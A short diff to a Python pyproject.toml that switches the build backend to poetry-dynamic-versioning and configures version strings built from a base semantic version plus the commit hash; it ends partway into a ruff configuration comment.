-requires = ["poetry-core>=1.2.0"]
-build-backend = "poetry.core.masonry.api"
+requires = ["poetry-core>=1.2.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"]
+build-backend = "poetry_dynamic_versioning.backend"
+
+[tool.poetry-dynamic-versioning]
+enable = true
+pattern = "(?P<base>\\d+\\.\\d+\\.\\d+)"
+format = "{base}+{commit}"
 
 [tool.ruff]
 # Ruff doesn't enable pycodestyle warnings (`W`) or